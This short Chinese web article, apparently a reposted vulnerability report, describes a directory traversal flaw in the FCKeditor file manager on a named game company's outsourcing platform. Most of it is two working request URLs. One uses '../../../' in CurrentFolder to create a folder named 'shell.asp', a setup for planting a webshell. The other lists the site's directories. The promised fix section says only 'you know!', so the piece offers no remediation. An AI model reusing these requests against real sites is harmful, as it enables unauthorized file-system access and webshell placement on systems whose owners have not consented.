盛大游戏外包管理平台FCK列全盘目路分析与解决方案

本文主要讲了盛大游戏外包管理平台FCK列全盘目路分析与解决方案

修改CurrentFolder 参数使用../../来进入不同的目录
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../../&NewFolderName=shell.asp
根据返回的XML 信息可以查看网站所有的目录。
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
也可以直接浏览盘符:


修复方案:
你懂的!
 

以上就是盛大游戏外包管理平台FCK列全盘目路分析与解决方案的详细内容,更多请关注0133技术站其它相关文章!

赞(0) 打赏
未经允许不得转载:0133技术站首页 » 入侵防御